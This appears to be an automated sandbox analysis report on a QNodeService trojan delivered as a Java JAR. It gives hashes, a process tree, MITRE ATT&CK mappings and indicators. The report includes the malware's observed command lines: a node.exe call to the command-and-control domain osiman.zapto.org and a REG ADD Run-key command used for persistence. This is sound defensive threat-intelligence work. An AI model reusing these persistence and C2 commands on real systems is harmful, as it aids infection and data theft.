qnodeservice | 1af7622fc4457af9970c6127789894db5ba5d39667dbf99b51939cba5414ee3b

General

Target

ORGINV687400321566.jar
Size

94KB
MD5

85cc374e0d0f090b1fed3b48e837fd76
SHA1

8b69b98a03683d9cf235d32968ae69b1b7bfffd9
SHA256

1af7622fc4457af9970c6127789894db5ba5d39667dbf99b51939cba5414ee3b
SHA512

4ff78e3c8e4ccecb0c9498bf314aa78c606139b4da378913fcaa2834cef97bd54cf941b070a2c71e82d75e6ed5cc766aafe12bebbe8210a3ff00948aec750e94

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1800	node.exe
3052	node.exe
3968	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\0d0cd538-8d32-4c2d-9ef5-cd884aa5658d = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab64-173.dat	js
behavioral2/files/0x000100000001ab64-181.dat	js
behavioral2/files/0x000100000001ab64-185.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	wtfismyip.com
27	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1800	node.exe
1800	node.exe
1800	node.exe
1800	node.exe
3052	node.exe
3052	node.exe
3052	node.exe
3052	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe
3968	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 1840	984	java.exe	76
PID 984 wrote to memory of 1840	984	java.exe	76
PID 1840 wrote to memory of 1800	1840	javaw.exe	80
PID 1840 wrote to memory of 1800	1840	javaw.exe	80
PID 1800 wrote to memory of 3052	1800	node.exe	82
PID 1800 wrote to memory of 3052	1800	node.exe	82
PID 3052 wrote to memory of 3968	3052	node.exe	83
PID 3052 wrote to memory of 3968	3052	node.exe	83
PID 3968 wrote to memory of 2708	3968	node.exe	85
PID 3968 wrote to memory of 2708	3968	node.exe	85
PID 2708 wrote to memory of 676	2708	cmd.exe	86
PID 2708 wrote to memory of 676	2708	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\ORGINV687400321566.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:984
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\ef71d7a4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1840
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain osiman.zapto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1800
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_2L4k6R\boot.js --hub-domain osiman.zapto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3052
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_2L4k6R\boot.js --hub-domain osiman.zapto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3968
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0d0cd538-8d32-4c2d-9ef5-cd884aa5658d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2708
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0d0cd538-8d32-4c2d-9ef5-cd884aa5658d" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:676

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1800-174-0x000002E9532C0000-0x000002E9532C1000-memory.dmp

Filesize
4KB

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memory/3052-182-0x000002E0FB8C0000-0x000002E0FB8C1000-memory.dmp

Filesize
4KB

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memory/3968-186-0x0000000FD3CC0000-0x0000000FD3CC1000-memory.dmp

Filesize
4KB

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